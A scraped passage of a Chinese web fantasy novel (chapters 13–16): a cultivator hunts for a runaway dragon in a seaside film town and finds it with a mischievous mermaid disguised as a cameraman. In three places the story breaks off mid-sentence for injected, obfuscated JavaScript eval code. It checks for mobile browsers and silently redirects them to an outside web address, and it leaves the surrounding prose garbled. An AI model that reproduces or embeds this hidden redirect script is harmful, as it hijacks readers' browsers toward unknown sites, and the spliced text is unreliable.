看到节目组其他人的淹水实况,丁依赶紧看了看自己房间的淋浴房——淋浴的水还是不停,地面的水正在从浴室里漫出来,不过没有视频里别人房间那么夸张。 “真不是你?”丁依低下头,狐疑地看向龙。 这次,龙非常肯定地点了点头。 看来真不是它。 踏水走进淋浴间,丁依伸出手,让花洒中流下的水流过自己的手掌。 她掐指捏诀——这水中……好像有一种熟悉的气息…… 工作群又有新消息。 丁依点开来,看见有人发了一张照片,是几张湿漉漉的存储卡。 紧接着是一条文字消息:「设备包直接放地上,一睁眼天塌了」 还有设备!! 丁依赶紧打电话给她对接的几个外部团队。 还好,大部分人被她叫醒后,不是发现自己房里的水没有很严重,就是正好把拍摄设备放在了高处,所以不用担心。 老杨的心最宽,接起电话后,居然还乐呵呵地:“没事,我不怕水。” 这是怕不怕水的事吗?丁依在电话这头扶额,嘴上还是提醒他:“您最好问问摄像老师,主要是怕他的器材被水浸了。” 老杨恍然大悟。他道:“谢谢你提醒,没事,水不可能淹得了他的器材。不过,我是得跟他打个电话。” 13. 第 13 章 “你的意思是说,我附近还有其它妖怪?”丁依和电话那头的梁凡确认。 “嗯,对。” “很多吗?” “应该只有一个或者两个,但离你很近。” “哦,那没关系。”丁依不以为意。 “嗯,我也觉得,不过我看离你很近,以防万一还是跟你说一下。”梁凡道。 “行,我知道了。”丁依道了声谢谢,挂了电话。 电话那头,梁凡收起手机,重新趴下,仔细查看一张铺在地上的地图。 这地图的羊皮质地看起来十分沉旧,上面用褪色的深色颜料粗略地勾画出了河流山川的走势,却并没有标注城市和公路。乍看只是张做工粗糙的旧物,上面却奇异地闪烁着许多明明灭灭的红色小点。 此刻,他手指点的地方正有一处红点。这颗红点的颜色比其它红点稍深,细看才发现,之所以如此,是因为这一处有不止一颗红点。 真的很近,都已经叠到一起了。 丁依挂了电话,就把手机放到一边。 昨晚,那场突如其来的“酒店大水事件”来得快去得也快,就在丁依给老杨打完电话不久,淋浴间的水就止住了。 虽然大水还产生了“次生灾害”——几张节目组的摄像机存储卡被水泡了,但据说卡里的素材只是舞房日常练习,估计影响不大。 说起来,就目前的状况,对丁依而言,影响最大的,可能是…… 她抬头,看向灯架上把自己自挂东南枝的龙,开口询问道:“怎么样,选好了吗?” 龙的鼻孔不屑地喷了一下气,转开了头。 这场人和龙之间的拉锯战,已经持续了半小时。 半小时前,当丁依试图和昨天一样,把龙变小塞进帆布包时,龙不仅表现出了强烈的抗拒,还在房间里四处逃窜。 丁依一开始还摸不着头脑,后来才反应过来——这条龙,应该是把昨晚自己那句“不需要藏包里”给当真了,现在在它眼里,自己估计是个出尔反尔的“骗子”。 见龙不肯轻易就范,丁依又给出第二种解决方案。 她从袖里乾坤掏出一颗金丝小球——这是她从叶瑾瑜那借来的另一样法器“须弥芥子笼”。 “须弥芥子笼”也是压制妖怪力量的法器,兼具空间折叠的功能,在丁依眼中,它就像妖怪版的“航空箱”,且有无限空间,龙如果待在里面,可以随意动作,不会像塞包里那么憋屈。唯一的问题就是——“须弥芥子笼”里没有半点光线,一片漆黑。 丁依拿着“须弥芥子笼”,和龙打起商量: “既然你不愿意待在我包里,那待在这个‘球’里面,可以吗?” 龙歪了歪头,蓝眼睛里透出一丝怀疑。 见它犹豫不决,丁依乘隙而入,把“须弥芥子笼”往龙身上丢去。 只听啵的一声,一道强光亮起—— 龙消失了,只剩“须弥芥子笼”孤零零落在原处。 丁依十分满意,正准备收起“须弥芥子笼”走人时,突然又听见啵的一声。 不好。 只见强光再次弥漫开来。 光线褪去后,丁依再次看见了龙——但是愤怒plus版。 它那透亮的蓝眼珠里,头一次闪烁着这么沸腾的怒火,它对着丁依张大了嘴,从喉咙深处挤出一种像自行车轮胎漏气一样的声音。 它这是,在叫? 丁依突然意识到一件事——她不仅没听过这条龙说话,而且从没有听见它叫过。 她还在发愣,龙却更加愤怒。 它又发出几声嘹亮的叫声,然后一跃而起,窜到了高高的灯架上,之后再也不肯下来,一过就是三十分钟。 丁依最终失去了耐心。她今天在录影棚还有工作,时间已经来不及了。 她要给龙下“最后通牒”。 她敲敲桌子,用声音将龙的视线吸引过来,然后抬起右手,指了指“须弥芥子笼”。“你定一下,今天是想被关在这笼里——”她又拎了拎那只帆布包,“还是和昨天一样,缩小藏在我包里。” “最后选一个吧。” 作为回应,龙愤怒地甩起了脖子,把脖子上的铃铛摇得震天响,表示自己哪个也不想选。 丁依站在地上,定定地看了龙一会儿,轻轻叹了口气,然后自顾自动了起来——她开始收拾出门要带的东西。 龙注意到她的动作,警觉地压低身子,眯起眼睛,防范她像刚刚扔出“须弥芥子笼”时一样,突然对它进行“袭击”。 丁依这边,却只是专注地把东西都快速丢进帆布包里,不时再拿起手机点一点,好像已经把龙抛在脑后。 龙怀疑地打量着她。 看到丁依拎起帆布包的瞬间,龙伏下上半身,身体紧张到了极致。 丁依则似乎没有察觉到龙的紧张。她又在手机上点了几下,然后拎起帆布包走到门口,回过头和龙道:“抱歉,我真的真的真的要出门了。既然两个你都不愿意,那就只有第三个选项了——”她从门把手上取下了什么,然后拧开了房门,探出去半个身子,回头道—— “今天,你就自己待在房间里吧。” 说完,丁依头也不回地走了出去,一把关上了房门,把“请勿打扰”的牌子挂在了门外的把手上。 看到房门啪地在自己面前关上,龙立起了上半身,睁圆了眼睛,一脸茫然。 一出了酒店房门,丁依就小跑着往电梯赶去,边跑边看手机上的打车软件——还好,已经打到车了,离酒店就几百米。 不是对那条龙危言耸听,她的时间确实来不及了。 今天,丁依的工作内容,是给《重回顶流时代》的所有艺人拍摄杂七杂八的宣发物料,包括:单人定妆照、小组定妆照、单人官宣短视频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它应该……没事的吧?自己挂了牌子,酒店保洁今天应该不会进门打扫。就算有人进门,普通凡人也看不见龙,只要它不要乱动摇铃铛。退一万步讲,就算它铃铛响了,别人看不到它,最多听到铃铛声以为闹鬼了……除此之外,还有什么自己漏掉的隐患吗?没有了吧…… 丁依心里还在琢磨,突然余光撇到第一组艺人已经拍摄结束,她赶紧请艺人PD催下一组,把那条龙的事抛在了脑后。 房间里,龙过了相当久的时间,才理解了自己被丁依独自丢在酒店的处境。 它动了动耳朵,从灯架上跳了下来。落地时脖子上的铃铛摇晃,发出清脆的铃音。 哒、哒、哒。 它走到打开的行李箱边,把鼻子拱进丁依丢进去的衣服里,闻了闻味道。 然后又来到门边,像以往丁依从家里出门后一样,立起上半身,趴在门上沿着门缝的边缘嗅闻。 然后,咔哒一声—— 龙用前爪按开了酒店房门,轻快地小跑了出去。 14. 第14章 刚跑出去没几步,龙就停下了脚步。 它犹豫了一下,还是折返回房间门口,低头在还散发着潮湿的走廊地毯上来回嗅闻后,它在门口绕了两圈,看着左右两边的走廊尽头,拿不定主意—— 丁依的味道断了,它不知道该往哪儿走。 龙又回头看了看,那扇还打开着的房门—— 要不,还是回房间待着? 王姨打了个哈欠。她推着清洁车,走过又一扇紧闭的酒店房门。 作为负责六层的客房清洁员,她刚把整层的走廊清洁了一遍。今天,这家酒店的客房清洁部全员提早上班,来收拾昨天“半夜大水”的残局。一大早上的,就把她累得不行。 现在,她准备检查一遍有没有客人退房,如果没有,她可以先回一楼的休息室小憩一会。 没走几步,王姨发现了一间打开的房门。 这是有人退房?她探头进去,却看到四处摊放着私人物品。 看来只是忘记关门。她这样想着,便握住门把手,想顺手把门关上。 不料,原本该轻松拉动的门却纹丝不动,像被什么无形的阻力绊住似的。 王姨立刻领悟:这门一定是坏了。估计客人出门时也是这样,随手以为带上,实际没关住。 她加大了力道,想看看是哪里的问题。正使劲儿的时候,耳边一串响亮的铃铛声响起。 哎? 这铃铛声听起来近在咫尺,王姨不由恍惚了一下。她先看看自己空荡荡的周围,又左右回头打量空无一人的走廊。 是她幻听了吗? 在王姨看不到的脚边,龙像僵住了似的,身体一动不动,嘴里紧紧咬着项圈的铃铛。 下一秒,王姨察觉到门把手上的阻力消失,她试着一使劲儿—— 哐!门关上了。 “门没坏啊?”王姨自言自语,转头推着清洁车离开。 见王姨走了,龙趴到房门上,想要试着再把门打开,却发现门纹丝不动。 龙略一犹豫,就咬住铃铛,跟着王姨离开的方向跑去。 它在最后一秒窜进了即将关门的电梯里,然后水灵灵地——被电梯门给夹住了。 转头看向面前的人,对方正嘟囔着:“今天真倒霉,电梯门怎么也关不上了……” 一人一龙脸对着脸,王姨满脸打工不顺的烦躁,龙的蓝眼珠里则一片澄澈。它发现了——这个凡人和丁依不一样,她看不见它。 还好,电梯门只卡住了一下,就恢复了正常,顺利地下降到了一楼。 电梯门打开,王姨推着清洁车走出,经过大堂,准备去后面的休息室时,她被正在前台的经理叫住。 龙就趁这个时候,从清洁车上,跳到了酒店前台。 它放眼四顾,再次陷入了迷茫。 “您好,请问餐厅怎么走?” 一个熟悉的声音,让龙的耳朵一激灵。 “右拐就是餐厅。”前台工作人员亲切地回答了这人的问题。 “好的谢谢。”老杨点点头,往右走去。 在他的脚后,正跟着龙龙祟祟的一条。 虽然龙还不认识老杨的脸,但经过昨天一天,它对这个人的声音和气味简直太熟悉了。 跟着他,自己肯定能找到丁依。 推开餐厅的玻璃门,老杨走了进去,龙也跟在他脚后挤了进去,差点被门夹住。 老杨给自己夹了满满两盘早餐,馒头油条稀粥榨菜,吃得很香。 在他脚边的桌下,龙正皱皱巴巴地蹲着。它抬起一只爪子捂住鼻子,强忍着五花八门的味道带来的晕眩。 手机铃声响起。 老杨在跟谁通话:“哦哦,我快吃完了,你下来了吗?好的我现在过去门口。” 挂了电话,老杨三下五除二收干净了剩菜,往餐厅外走去。龙赶紧跟上。 来到酒店门口,老杨拿起手机,对着打车软件上的车牌信息,找到了自己的那辆出租车。 他打开后座车门,坐了进去,和后座的另一人打招呼:“小虞,三脚架和摄像机都放在后备箱里了吗?” 那人点点头,平静地道:“嗯,放好了。” “行,师傅,我们人齐了,出发吧。”老杨和前排的司机说道。 师傅说了声好,一踩油门,车驶离了酒店。 绿洲市是旅游城市,从酒店到录影棚的一路刚好是人烟稀少的市郊,地广人稀,风景宜人。此时正好是初春,车窗外一片春意盎然。 老杨嘴角带笑,表情惬意地欣赏着窗外的风景。 他转过头,和身旁的同伴闲聊:“小虞,你来过绿洲市吗?” 小虞顿了顿,回道:“来过。” 老杨:“上次是来玩的吗?还是来出差?” 小虞:“不是来玩的。” 老杨便以为他上次来也是为了工作,他热情地接话:“那等这次拍摄结束,你再多留两天,自己玩一玩。”正巧窗外出现了海景,老杨便示意小虞看海:“你看,这里的海和沙滩还是相当不错的。” 自从上车,小虞一直懒散地靠着后座,听到老杨提起“海”,他终于提起了点精神,探头往窗外望去。 小虞是老杨的纪录片摄像。单看他的外形,是片场很常见的一款年轻劳动力外貌范本:黑衣黑裤,黑色棒球帽,帽檐下露出亚麻浅金的漂发,配上苍白的皮肤和眼下的乌青,耳朵上打了不止一个耳洞和耳骨洞,细看帽檐下的眼睛——还戴了浅金色美瞳。 车窗外的阳光照射到他白到透明的皮肤和浅金的头发上,仿佛氤氲着一层光晕。 他本人则被阳光刺激得皱起了一张脸,龇牙咧嘴地看着远方的海,不知在想什么。 前方不远处是隧道入口。 老杨看了看表,问司机:“师傅,咱们还有多久到?” 司机回道:“等出了隧道就要到了。” 车继续向前行驶,就在车头即将驶入隧道的瞬间,三人同时听到了头顶一声重重的—— “啪嗒”。 老杨先开口询问:“刚刚我好像听到什么声音,是不是有什么掉车上了?” 小虞平静地接话:“我也听到了。” 司机师傅犹豫了一下道:“可能是隧道口的石头,反正快到目的地了,等停车了我看看。” 老杨随口应了声就思绪转开,小虞则和之前一样,沉默地靠在后座椅背上看向漆黑的窗外,不知在想些什么。 车开到了影视基地南门。不少粉丝已经堵在了门口,等她们自家艺人前来上班。 车一靠边停下,司机说了声“到了”,自己先急匆匆地下了车。他一下车,立刻转身看了眼自家车顶,然后松了一口气——车顶上啥也没有。他暗想,估计刚才听错了。 老杨和小虞也下了车。老杨已然忘了刚刚那一声“小插曲”,他顺着司机的眼神扫了眼后,就把注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这张铭可不服。他心想,虽然进度拖延确实是在他代管期间发生的,但综合各方偶然因素,他绝不是唯一责任人。他试着拿出一点领导架子:“今天的大通告都delay了,不缺你这一摊,你就算慢点拍,又能怎么着呢?” 丁依还要再说,手上又来了电话——这次居然是梁凡。 电话一接起,对面梁凡就问:“师妹,今天有什么人,是一直和你在一起的吗?” 什么人和自己一直在一起?丁依丈二和尚摸不着头脑。她今天像一只陀螺似地四处打转,哪有和谁一直在一起的。 “没有,我确定。怎么了吗?” “嗯……那就奇怪了。你还记得我早上和你说的吗?” 丁依回忆:“你是指,我附近还有……”她转过身,避开身旁正和别人打招呼的张铭,“……我附近还有‘那个’?” “对,我早上不是说,你附近还有妖怪?然后我从早上跟踪到现在,那只妖怪好像一直在你身边,而且距离非常近。” 这不可能啊,丁依扫了一眼四周。 她突然想到:“你那边是用万象妖踪图监测的,你是不是看到,那只‘那个’,一直在我带的这条‘那个’的旁边?”她松了口气,“那就没问题了,因为我把我带来的那条‘那个’关酒店了,估计是酒店里恰好还有其它‘那个’吧。” 她心想:住了几百人的酒店,偶尔入住一只妖怪,也没那么稀奇。 “哎?你的意思是,那条龙没有和你在一起吗?”梁凡奇道,“那就奇怪了,我这里看到,今天上午它一直在地图上飞快地移动,到现在也没停下,而且——”他用手指把地图压平,看着地图上那两个始终交叠、不断移动的红色小点,“——另外那只妖怪,一直和它在一起哦。” 15. 第 15 章 电话对面没有马上出声。 梁凡察觉到什么,试探着安慰:“……不过应该没关系,毕竟它是龙,就算妖怪遇到它,应该也不会对它怎么样。” 是吗? 因为它是龙,就算妖怪遇到它,也不会怎么样吗? 丁依很想这样说服自己,但此时此刻,初见龙时的血腥画面,却像卡住的PPT不断强制在她的大脑中闪回: 它那被巨大金属贯穿的瘦小的身体;被泥糊了满脸的脑袋上,睁开的淡蓝色的眼睛;利甲被拔,鳞片脱落,浑身破烂的皮肉;还有最后一块金属碎片被拔出时,迸发出的血液,把“小桃源”的潭水全部染红…… 它曾经落入过那样危险的境地,而她仍不知道凶手是谁。万一,如果万一,今天它遇到的,就是当初的凶手呢? 丁依的心脏被捏得紧紧地,几乎要被巨大的自责吞噬。 她想起当初梁凡让她把龙送走时,自己还义正言辞地反对。结果如今,也是她自己,随手把那条龙放在了几乎没有防护的酒店房间,只担心它被人发现会给自己带来麻烦。 但现在,还不是她沉溺在自责的时候。 强打起精神,避开张铭和其他人,丁依快步转到角落。余光瞥了一眼周围,看到只有一个保洁正在远处的楼道转角打扫,她问电话对面的梁凡: “师兄,它俩现在在哪儿,你那边能看得出来吗?我现在出发去找那条龙。” “好,我看看。” 梁凡从网上搜出一张绿洲市地图,对照着万象妖踪图粗略的地形勾画查看。 “回龙湾?你知道这个地方吗?靠近海边,它俩应该都在这附近,不过现在还在移动。”他在电话里回道。 “还能定位的更详细一点吗?”丁依注视着旁边走廊的一块墙面,询问道。 “抱歉,只能这个程度,万象妖踪图实在是太粗略了。” 这个情况也在丁依的预想之中,她道:“那麻烦你继续监察,有新情况再通知我。” “好的,你自己注意安全。” “嗯。”丁依挂了电话。 她转身面向走廊的窗户,推开了其中的一扇。下一秒,她双手掐诀,弹射一般从窗口飞出。 窗框被擦撞的声音,惊动了转角的那个保洁。 他匆匆赶来,除了一扇孤零零打开的窗户,什么也没看到。 “哎,这窗我明明关好了的,说了多少次不要在室内抽烟,就是不听!”他检查了一圈地板,倒是没看到烟头,便转身把墙壁上松了一角的“禁止抽烟,违者罚款”告示重新贴好。 告示旁边的墙上,印着绿洲影视基地的内部地图和三个入口位置。南门入口旁边,印着指向方向的地标——回龙湾。 拍摄宣传物料的房间门口,一个年轻女生的头从门里探出来。她探头探脑,在确认自己想找的人不在这里后,只好叫醒了正在打瞌睡的张铭。 “张老师好,请问小丁老师去哪儿了?我给她发消息也没回,电话也没接。” 张铭睡眼惺忪地反应了一会,才意识到她问了什么。他转头看了一圈,发现丁依确实消失了。 “她可能去厕所了吧?你有什么事吗?”张铭问。 年轻女生看起来很着急。她道:“我是负责下一组的艺人PD,提前过来踩点的。我看现在拍摄的这组艺人已经迟了十分钟了,再这么迟下去,就要和下一组的魏家隆组撞了。因为魏家隆组拍完咱们这个通告还要去见舞台导演,不能延迟。能麻烦您找一下小丁老师,让她想想办法吗?” “噢,这样,”张铭打量了她一眼,问道:“请问你是哪个组的啊?” “我?我是艺人PD组的啊?刚刚和您介绍过了。”年轻女生一脸茫然,以为张铭睡迷糊了。 张铭笑道:“哎哟,艺人PD组的,怎么来找丁依这个视频网站的统筹来协调艺人通告啊?” 假装没听出张铭话里藏着嘲讽,年轻的艺人PD硬着头皮接话:“毕竟这个拍摄是小丁老师负责的。” 张铭没直接回应她的话,反而道:“我捋捋——所以,现在拍摄的这一组艺人延迟了,你是负责下一组艺人的,你怕这一组艺人影响到你自己组的艺人,所以想找丁依催,是吧?” 艺人PD刚想接话,张铭又抢先道:“那我直接替丁依回你——不行。作为丁依的领导,我代替她给你两个解决方案吧。要不呢,你们艺人PD组自己内部协调,找你负责这组的同事,催这组艺人快一点;要不呢,你就自己改一下魏家隆组的通告,让他们先去见舞台导演,千万记得——就算去迟了,也别甩锅到丁依的头上。” 这位年轻的艺人PD面露尴尬——她来找丁依,原本就是想回避和同组前辈发生冲突,没想到被张铭点了出来。 碍于张铭是视频网站那边的甲方领导,她虽然审时度势点头答应,但思来想去仍是不想得罪同组前辈,便又开口商量:“张老师,那我就改一下通告,先让魏家隆组去见舞台导演了。那这边的拍摄,就等他们见完舞台导演,直接回来拍?” “见完舞台导演直接回来?”张铭气笑了,他点了点贴在房间门口、排得密密麻麻的通告表:“你们见完再回来,插在中间,可又影响了别组的拍摄了。” “那……那魏家隆组什么时候拍?” “当然是等到最后,所有组结束了再拍。”张铭道。 “那太迟了!”看了眼通告时间,这位艺人PD惊叫出声。原本,魏家隆组今天晚上九点就结束通告了,如果让艺人多等两个小时就为了拍这个,他们一定有情绪。 她在前辈同事和负责艺人中两相权衡,最终还是选择去找同事商量。 见她走了,张铭合上眼,继续靠在椅背上闭目养神,心中暗想:哎,丁依就是过分有责任心,白吃了那么多没用的亏。已然忘了——利用丁依的责任心来压榨她的帮凶中,分明也有他一个。 在张铭看不见的空中,一个身影正无声无息地向着南门飞去。 丁依双手掐诀,把灵识范围开到最大,探寻着龙的痕迹。 除了能感应灵力波动,打开灵识还能调动施术者的五感。此刻,丁依的感官就变得格外敏锐,她紧紧抿着嘴,来抵御被放大了至少十倍的噪音和气味刺激。 飞过1号棚上空时,一股若有似无的气味钻进了她的鼻腔里——清淡的海的咸味,混合着一股柠檬般的清香。 虽然淡到几乎没有,但是丁依很确定,这是龙的味道,。 降落在一个无人的角落,丁依松开手中的隐身诀,顺着味道一路嗅了过去。 刚过一个转角,就遇到人冲她打招呼。 “小丁,你过来啦?”半天没见到丁依,老杨像遇到亲人似的格外热情。 丁依拧起眉头——老杨身上,怎么有龙的味道?他俩碰见过? 老杨没注意到丁依的表情不对。他手上大包小裹地拎着摄像包和三脚架,满头大汗地开口道:“真巧,刚想和你发信息,就在这里碰到了。是这样,我想问问你,咱们节目组的食堂在哪儿?昨天是你帮忙拿的盒饭,我还没自己去过呢,我也不是现在就想吃饭,只是先提前问下……” 他话还没说完,就见丁依猛地逼近,眼睛盯着他的,一字一顿地问道:“今天,你都做了什么?” 老杨愣了下,以为丁依怪他偷懒不工作:“这不是你说的,我们不用急着过来的嘛?我就先在酒店吃了个早餐,然后打车过来,等到了门口,我的纪录片摄像突然想起来有点事,我就帮他把设备先拿进来…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505286|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 丁依打断了他的话:“所以,今天你原本一直和你的纪录片摄像在一起,结果他到了门口,突然说他有事,自己走了,让你一个人进来?”她注视着老杨的眼睛,想确认他是否隐藏了什么。 听完丁依的复述,老杨又发现,自己这么说,好像显得他请来的人怪不靠谱的。他赶紧找补:“主要我和他提前说了,今天魏家隆估计还是拍不上,那他进来确实也没什么正事。而且你不是也说了嘛,让他过来吃个盒饭就行,我问过他了,他不爱吃节目组盒饭,既然他连盒饭也不吃,那进不进来确实也无所谓……” 老杨絮絮叨叨的样子不像说谎,丁依觉得,他应该确实不知情。 把手背在身后,她不动声色地打开灵识。 开了灵识的视野里,万物都变得极度清晰。丁依的灵识扫过老杨粗糙的皮肤毛孔和留着食物残渣的嘴角,接着一路往下扫描——还是那身教练夹克,昨天的灰还没擦干净;裤子的裤脚磨出了毛边;斜挎包的拉链别住了;摄像包上……摄像包? 丁依皱眉凝神——只见摄像包上,几点晃动不停地幽蓝色虚影十分引人注目,那是妖怪灵气外溢的颜色。当妖怪的灵力波动时,它们在灵识的视野里,就会泛出一圈蓝色虚影,而有时,妖怪外溢的灵力也会像滴到衣服上的油一样,残留在妖怪的随身物件上。 老杨请的摄像,应该就是那另一只妖怪。 丁依深深看了老杨一眼,打断了他没完没了的自言自语:“那您先进去吧,我还有事。”离开前,她想起什么,又往老杨手上的摄像包上摸了一把,才身形一晃,转过拐角消失了。 老杨小跑过去,本想追问“节目组的食堂究竟在哪儿”,却发现拐角后面一个人影也没有。 “瘦瘦弱弱的小丫头,动作真快啊,”回想起丁依刚刚的表情,老杨总怀疑她生气了,“不是说好的,我的摄像来吃个盒饭就行?莫非小虞不吃盒饭,真就这么让她生气?” 循着那妖怪残留的灵气,丁依出了影视基地南门。 到了南门,除了那妖怪的灵气气息,丁依又再次闻到了新鲜的龙的气味,这对她算是个好消息,不仅说明龙经过了这里,而且当时还算活蹦乱跳。 不过,这两股气息交织着,并没有继续指向梁凡说的回龙湾,而是骤然转弯,沿着一条小马路往前。 手里掐着隐身诀和悬浮咒,沿着这条地砖都没铺平整的土坷垃小马路,丁依一路向前飘。 飘着飘着,南门口外熙熙攘攘的粉丝队伍没了。 紧接着,路人和车看不见了。 再然后…… 看着面前满地尘土上拉起的警戒线,和歪斜的“施工重地”告示牌,还有墙上拉着的「高奢养老之选——回龙湾至尊邸」破旧红色横幅,感受那妖怪和龙的气息缠绕在这烂尾工地的更深的深处,丁依的心沉到了谷底。 她很难想象,这天杀的妖怪把那条宝宝龙引到这种鬼地方,能怀着什么好心思。 现在不是消沉的时候,丁依掐了掐自己,眼神再次坚定起来。 她操纵法诀,让自己缓缓升高,无声无息地向工地深处飘去。昏暗之中,她的双手掌心皆有数个符纹亮起,明灭之间闪烁着狰狞的光泽——虽然她在师徒四人组中一直负责奶妈位,但不代表她一点不能输出。意思是,她至少能输出一点。 那妖怪的气息越发强烈,它应该是没再移动,停在了一个固定的地方。龙的味道也在,尤其是那股海的咸味愈发强烈,丁依安慰自己——应该还来得及。 她不动声色地继续往气息的源头靠近,突然听到了清脆的“咔嚓”。 咔嚓。咔嚓。咔嚓。 丁依的心瞬间被冰冻—— 这是兽类的利齿在咀嚼的声音。 16. 第 16 章 血涌上了丁依的头顶。 这一声声“咔嚓”,就像咬在她的大脑皮层上一样清晰。 现在,她脑海里闪现的画面,除了当初血肉模糊的龙,还混杂进了恐怖电影里食人族满脸血污、啃食人体的场景—— 一口蜡黄残缺的尖牙,狠狠地咬在那条龙幼嫩的新生鳞片上。 咔嚓一下,龙爪没了。 咔嚓一下,龙尾巴没了。 再咔嚓一下,龙整个断成两截。 被自己的幻想吓得一激灵,丁依赶紧甩了甩头,把“脏东西”都甩出自己的脑袋。 不管怎样,还是先找到对方再说。 打开灵识,丁依很快就锁定了目标—— 前方那栋楼的后面,一大片幽蓝色虚影正在飘摇,当是那妖怪外溢的灵气。 屏住呼吸,手中掐诀,丁依小心控制着速度,弓着背悄无声息地靠近。 “咔嚓”“咔嚓”的声音源头已经近在咫尺,眼看就要转过拐角,丁依的指甲紧紧掐着手心,手中的法诀呼之欲出。 就是现在! 她像一颗意外引爆的导弹,瞬间弹射了出去。 如果叶瑾瑜看到这一幕,也会感慨——这个修行时最没悟性的徒弟,居然有一天也能把悬浮咒施得这么灵敏。 不料,这颗“导弹”刚刚发射出去,就骤然一个急停。 丁依僵在半空中,像被谁施了定身咒一样。 顺着她视线的方向,前方不远处,有一座被废弃的小区喷泉。 这座喷泉原本是小区绿化的造景,随着楼盘烂尾,它也被“遗弃”在了这里,无人问津。 然而,此刻,这座本应干涸的废弃喷泉,正源源不断地喷涌出金色的泉水。仔细看,泉水中还有星星点点的光芒如同碎钻般闪烁着——正是丁依最近格外常见到的灵虾。 蹦跳着的灵虾,混合着鎏金的水流,自喷泉的中心喷洒而下,灌满了底下的喷泉水池,让一整池的泉水都荡漾着金色的光泽。 在破旧的工地中,这座金光闪闪的喷泉显得格外扎眼。 而一条长长的身影,正在一池的金色水波中穿梭起伏,玩得不亦乐乎。一个猛子扎下去,炸开了不少灵虾。 是龙。 龙的旁边还有另一个身影。 这身影背对着丁依,姿态松弛地倚着池壁,一头披散的亚麻浅金长发如海藻般蜿蜒,露出的侧脸在阳光的照射下白到透明,上身套着一件普通的黑卫衣,下半身则完全地浸没在了水池里。 一只灵虾突然高高的蹦起,被他疾速地伸手接住。他的手指明显比普通凡人更加纤长,指甲尖利如爪,指缝间有薄薄的皮肤连在一起,像鸭或者鹅的蹼。 灵虾在他手心蹦跳,他抬手一抛,张嘴接住了灵虾。 咔嚓。咔嚓。咔嚓。 啧,吃得真香。 丁依已经认出他是谁,正要出声,突然她口袋里的手机响了。 听到手机铃声,喷泉里的两只瞬间僵住。 同样是一动不敢动,龙对这状况就显得颇为熟练。尽管它的一对耳朵压在脑后,尾巴也夹紧,但从它偷偷斜着眼瞅着丁依的表情,还有滴溜溜转个不停的蓝眼珠,就能看出它其实并不怎么害怕。 池中的另一只就显得僵硬多了。他颤颤巍巍地转过头面向丁依,露出了自己的脸—— 居然是老杨的纪录片摄像,小虞。 看到丁依的脸色,小虞原本就苍白的肤色更白了。他浅金色的瞳孔里流露出一丝慌张,尴尬地笑了笑,露出一嘴银光闪闪的尖牙。 丁依瞥了他一眼,选择先接起还在响个不停的电话。 打来电话的人是梁凡。 “师妹!告诉你一个好消息!”此情此景,他的声音显得格外开朗。 “嗯,你说。” “我用卫星地图和万象妖踪图对照,终于发现那只妖怪和龙的准确位置了!它们正在一个回龙湾旁边废弃的楼盘,我现在报楼盘名字,你赶紧拿手机地图搜一下,这个楼盘叫作——” “——叫作‘回龙湾至尊邸’,谢谢师兄,我已经找到他们了。”丁依打断梁凡的话。 梁凡懵了一下道:“好好好,找到就好。”他又意识到什么,惊慌地问道:“对不起师妹,我不会是打扰到你作战了吧?” 丁依捏了捏眉心,回道:“没有,不用‘作战’,这个妖怪我认识。” “啊,是谁?”梁凡惊讶道。 丁依抬起眼,和面前的金色瞳孔对视:“是人鱼,就是之前那条成天闯祸的人鱼 像是为了验证丁依的话,她话音刚落,藏在水里的金色鱼尾就猛地扑腾了一下,飞溅的池水兜头溅了丁依一头一脸。 “抱歉……这次我真不是故意的。”小虞小声道,这话说出来连他自己都心虚。 “算了,习惯了。”丁依抹了一把脸,面色居然还算沉着,她吩咐泡在水里的两只:“你俩别玩了,都收拾收拾,跟我回去。”接着顿了顿,终于还是忍不住瞪了人鱼一眼:“下次不想吃盒饭直接说,不要自己偷偷跑出来吃零食!” 人鱼的鱼尾变回了双腿,蜿蜒的浅金色长发也重新缩短至耳后。 变回人身的小虞从喷泉里爬了出来,伸手打了一个响指,金色的泉水和满池的灵虾都消失无踪。 龙睁大了眼睛,趴到池边探看,似乎觉得很神奇。 丁依拍了拍手,把龙的注意力吸引过来后,她掐诀把龙缩小了一点,又拍了拍小虞的肩膀,示意龙跳上来。 “喂——”小虞刚想抗议,就见龙的前爪刨了两下地,然后一个助跑,猛地跳到了他的肩上。 猝不及防的人鱼被龙的爪子抓得龇牙咧嘴——好家伙,这么大一条。 一人一鱼一龙慢慢走回去。 路上,丁依和小虞拉起了家常。 丁依问:“小虞是你给自己起的名字?怎么想的,跑来做摄像?” 小虞踢着路上的石子:“反正,从你家被赶出来之后,我也没什么事,就瞎做做瞎试试。” “不回你自己家吗?” “再说吧,现在还不能回。” “之前酒店的水,是你弄的吗?” “……是因为我,但我可不是故意的。”小虞举手发誓。 这丁依倒是相信,小虞之前住她家时就是“水管杀手”,当初就是因为他,才导致自己上了公寓物业的通缉名单。 “老杨呢,他怎么找到你的?” “他在波士直聘app上招摄像,我投了简历。” 这么简单?丁依想起酒店发大水时,老杨电话里说的话。她开口问道:“老杨……他知道你是什么吗?” 小虞奇怪地瞥了她一眼。“怎么可能?要是他知道了,梁凡早就来抓我了吧。” 确实,那应该就是她想多了。 “所以你知道老杨要和我一起工作吗?”丁依又问。 